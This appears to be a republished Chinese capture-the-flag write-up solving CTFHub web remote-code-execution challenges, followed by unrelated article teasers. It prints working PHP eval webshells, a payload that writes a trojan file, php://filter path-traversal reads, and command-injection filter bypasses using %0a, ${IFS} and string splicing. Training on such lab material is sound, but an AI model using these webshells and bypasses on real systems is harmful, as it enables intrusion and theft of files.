CTFHUB-web-RCE

news2024/9/17 8:19:37

eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

看下当前目录

?cmd=print_r(getcwd());

在这里插入图片描述

可以执行命令

print_r(system('ls'));

在这里插入图片描述

查看上级目录?cmd=print_r(system('ls ../../../'));

在这里插入图片描述

直接cat flag?cmd=print_r(system('cat ../../../flag_17045'));

在这里插入图片描述

==flag{ctfhub{1386122887aeba8899f58668} ==

容易导致其他问题的函数

assert()										pcntl_exex()
array_filter()									preg_replace()
array_map()										require()
array_reduce()									require_once()
array_diff_uassoc()								register_shutdown_function()
array_diff_ukey()								register_tick_function()
array_udiff()									set_error_handler()
array_udiff_assoc()								shell_exec()
array_udiff_uassoc()							stream_filter_register()
array_intersect_assoc()							system()
array_intersect_uassoc()						usort()
array_uintersect()								uasort()
array_uintersect_assoc()						uksort()
array_uintersect_uassoc()						xml_set_character_data_handler()
array_walk()									xml_set_default_handler()
array_walk_recursive()							xml_set_element_handler()
create_function()								xml_set_external_entity_ref_handler()
escapeshellcmd()								xml_set_notation_decl_handler()
exec()											xml_set_processing_instruction_handler()
include											xml_set_start_namespace_decl_handler()
include_once()									xml_set_unparsed_entity_decl_handler()
ob_start()
passthru()

文件包含

在这里插入图片描述

有个shell文件

<?php eval($_REQUEST['ctfhub']);?>

包含shell.txt后可以通过post来传递参数,注意后面要加上个 ‘;’

在这里插入图片描述

直接cat /flag

在这里插入图片描述

flag: ctfhub{f2b453955e0f17c23a1bc9ac}

php://input

  • php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

  • php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

利用post传参写入一句话木马

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[attack])?>');?>

在这里插入图片描述

flag: ctfhub{cb3d5ba59ebc6b2db398812f}

远程包含

在这里插入图片描述

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

看php文件这两个都是打开的

在这里插入图片描述

这个得要台服务器,或者自个搭一个用内网穿透也行,远程包含自己的文件

在这里插入图片描述

比如之前的shell.txt

<?php eval($_REQUEST['ctfhub']);?>

我这里就不用了

有回显,还是能用上面的那个php://input来利用

<?php system('ls')?> post直接传参

在这里插入图片描述

还是直接获取flag

<?php system('cat /flag')?>

flag : ctfhub{f5517ca3b04b51aa31b49aa4}

读取源代码

使用: php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php

提示flag在根目录下,直接看就行

?file=php://filter/read=convert.base64-encode/resource=../../../../../../flag

在这里插入图片描述

base64解码

在这里插入图片描述

flag: ctfhub{6b3a6d0e01d6832e740d3074}

命令注入

加上个分号,执行完ping就会执行ls命令

在这里插入图片描述

直接查看23032094216117.php,然后看源代码就能看到flag

在这里插入图片描述

ctfhub{27f12d5007ca3d45f7365bc6}

过滤cat

还是一样的操作,只不过他不能用cat命令了

在这里插入图片描述

可以用head命令来代替cat

在这里插入图片描述

其他常用的文本查看命令

cat:从第一行开始显示文本内容(适用于内容较少的)
tac:从最后一行开始显示,是 cat 的逆顺序
more:一页一页的显示文本内容(适用于内容较多的)
less:与 more 类似,但是比 more 更好的是,它可以往前翻页!
head:只看文本的前面几行
tail:只看文本的后面几行
nl:显示文本内容与行号

flag : ctfhub{99e637628c4511cfb8c681c2}

过滤空格

可以用==<==来代替空格

在这里插入图片描述

其他绕过空格的方式

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

flag: ctfhub{e9621b066f9456151a78a8d5}

过滤目录分隔符

可以直接进入该目录这样就不用目录分隔符了

在这里插入图片描述

flag : ctfhub{eeab934565c4d501dc410050}

过滤运算符

可以用这些字符代替

linux中:%0a 、%0d 、;&|&&||

windows中:%0a、&|

没啥影响,直接用分号==;== 就行

在这里插入图片描述

flag:ctfhub{9769a758a85a9e8a83d591b4}

综合过滤练习

看了下过滤了很多东东

!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)

可以用==%0a==(换行符)来代替分隔符,用==%09==来代替空格

在这里插入图片描述

过滤flag可以用拼接的方法解决,比如

a=fl
b=ag_is_here
a a ab 就相当于flag_is_here

http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag_is_here%0als%09$a$b#

在这里插入图片描述

依旧还是用拼接的方法读取文件

http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag%0ac=_is_here%0acd%09$a$b$c%0ad=_2223101105257.php%0ahead%09$a$b$d#

在这里插入图片描述

flag: ctfhub{e30304e28433f41432168496}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/58678.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用模拟退火(SA)和Matlab的车辆路径问题(VRP)(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

signature verification failed csb502报错

因为这个报错特意搜了下csb是个什么东西。 简单说csb就是云服务总线&#xff0c;提供API对外开放能力&#xff0c;提供认证鉴权:访问签名&#xff0c;检查请求是否合法&#xff0c;是否已授权的。 从前端角度来看&#xff0c;就是 1.客户端通过接口发起请求&#xff0c;携带必要…

SpringBoot+Vue项目餐饮管理系统

文末获取源码 开发语言&#xff1a;Java 使用框架&#xff1a;spring boot 前端技术&#xff1a;JavaScript、Vue.js 、css3 开发工具&#xff1a;IDEA/MyEclipse/Eclipse、Visual Studio Code 数据库&#xff1a;MySQL 5.7/8.0 数据库管理工具&#xff1a;phpstudy/Navicat JD…

放弃60万年薪考公!程序员完败公务员?

都说宇宙的尽头是考公&#xff0c;受到疫情的影响&#xff0c;我国的考公队伍也是越来越庞大。 考公队伍中不乏程序员。在某平台上&#xff0c;就有人分享了自己程序员朋友的考公经历&#xff1a; 发帖人的朋友原来是在阿里工作的&#xff0c;在他最高薪的时候能拿到60万的年薪…

栈的介绍以及使用数组模拟栈的入栈和出栈

❤️一名热爱Java的大一学生&#xff0c;希望与各位大佬共同学习进步❤️ &#x1f9d1;个人主页&#xff1a;周小末天天开心 各位大佬的点赞&#x1f44d; 收藏⭐ 关注✅&#xff0c;是本人学习的最大动力 感谢&#xff01; &#x1f4d5;该篇文章收录专栏—数据结构 目录 栈…

[U3D ShaderGraph] 全面学习ShaderGraph节点 | 第三课 | Input/Gradient

📣📣📣本专栏所有内容在完结之前全部为试读模式,专栏完结之后会取消试读模式,如果感觉内容还不错的话请支持一下📣📣📣 ShaderGraph是可视化的着色器编辑工具。您可以使用此工具以可视方式创建着色器。 本专栏可以让你更了解ShaderGraph中每个节点的功能,更自如的…

eBPF汇编指令你还不知道?看这一篇文就够了

【好文推荐】 一文看懂linux 内核网络中 RPS/RFS 原理 怎么在Windows下使用Makefile文件 浅析linux内核网络协议栈--linux bridge 大家好&#xff0c;我是你们的彦祖&#xff0c;今天这篇文主要介绍 eBPF 的指令系统&#xff0c;对于想深入理解 eBPF 的同学千万不要错过&#x…

实验五 计数/定时器的设计【Verilog】

实验五 计数/定时器的设计【Verilog】前言推荐实验五 计数/定时器的设计一、实验目的二、实验环境三、实验任务四、实验原理与实验步骤五、实验思考最后前言 以下内容源自Verilog实验 仅供学习交流使用 推荐 Verilog 实验五 计数/定时器的设计 一、实验目的 掌握二进制计…

计时器Timing Wheel 时间轮算法

文章目录1. 前言2. 什么是时间轮算法&#xff1f;2.1 单层时间轮2.2 多层时间轮2.2.1 增加轮次的概念2.2.2 多层次时间轮2.3 小结3. 实现案例3.1 Kafka中的时间轮3.1.1 任务的添加3.1.2 时间轮的推进SystemTimer3.1.3 小结1. 前言 计时器对于故障恢复、基于速率的流量控制、调…

[yolov5] yolo的数据标签格式

yolov5 的标签格式 参考链接&#xff1a; https://github.com/ultralytics/yolov5/issues/9816 翻译内容 你好!。感谢您询问YOLOv5&#x1f680;数据集格式。用于分割的XY坐标与用于长方体中心的标准坐标相同。 为了正确训练&#xff0c;您的数据必须为YOLOv5格式。有关数…

数据结构与算法的基本概念

前言 技术学得再多&#xff0c;再好还不如将基础学扎实。欠下的迟早是要还的。与其在以后后悔当初不好好学&#xff0c;还不如在大学期间将该学的知识学透。《数据结构与算法》确实不好学&#xff0c;但大学四年下来&#xff0c;还怕啃不下一本书&#xff1f;&#xff1f;正是基…

自动驾驶技术

高精地图&#xff08;HD Maps&#xff09;&#xff1a;支持其他模块 定位&#xff08;Localization&#xff09;&#xff1a;讨论汽车如何确定他所处的位置&#xff0c;汽车利用激光和雷达数据&#xff0c;将这些传感器感知内容与高分辨地图进行对比&#xff0c;这种对比使得汽…

Scanpy plot umap的color编码, Scanpy 的color map 如何设置?

Scanpy plot umap的color编码&#xff0c; Scanpy 的color map 如何设置&#xff1f;关键词palette&#xff08;调色板&#xff09; https://scanpy.readthedocs.io/en/stable/generated/scanpy.pl.umap.html?highlightpl.umap#scanpy.pl.umap https://scanpy.discourse.grou…

JavaScript -- 08. 数组介绍

文章目录数组1 数组简介1.1 创数组1.2 向数组添加元素1.3 读取数组中的元素1.4 获取数组长度2 数组的遍历2.1 使用for循环遍历2.2 for-of遍历3 数组的方法3.1 Array.isArray()3.2 at()3.3 concat()3.4 indexOf()3.5 lastIndexOf()3.6 join()3.7 slice()3.8 push()3.9 pop()3.10…

Android Jetpack-Compose相关

Android Jetpack-Compose相关 一、什么是Compose&#xff1f; Jetpack Compose 是用于构建原生 Android 界面的新工具包。它使用更少的代码、强大的工具和直观的 Kotlin API&#xff0c;可以帮助您简化并加快 Android 界面开发&#xff0c;打造生动而精彩的应用。它可让您更快…

Go学习之路-环境搭建

默认运行设备系统&#xff1a;MacOS 安装 安装包下载地址&#xff08;下面3个都可以&#xff09;&#xff1a; https://studygolang.com/dl https://golang.google.cn/dl/ https://golang.org/dl/ 我这里选择 pkg包、一键安装、默认的安装路径 /usr/local/go 环境 设置go语言…

[附源码]计算机毕业设计springboot在线图书销售系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

mmap 创建共享内存映射

所谓内存映射指的是 让一个磁盘文件与内存中的一个缓冲区相映射&#xff0c;进程访问这块内存时&#xff0c;就等同于访问文件对应映射部分&#xff0c;不必再调用 read / write 。 我们可以使用mmap函数来建立内存和文件某一部分的映射关系。 目录 一、共享内存映射的创建 /…

代码审计-3 文件包含漏洞

文章目录代码审计-文件包含漏洞文件包含漏洞种类当检测到目标存在文件包含漏洞时可以怎么利用文件包含中php可使用的协议PHPCMS V9.6.3后台文件包含漏洞后台路由分析漏洞寻找代码审计-文件包含漏洞 文件包含漏洞种类 当检测到目标存在文件包含漏洞时可以怎么利用 文件包含中php…

npm run dev和npm run serve

npm run dev和npm run serve目录概述需求&#xff1a;设计思路实现思路分析1.npm install命令2.package.json3.npm run serve参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,make …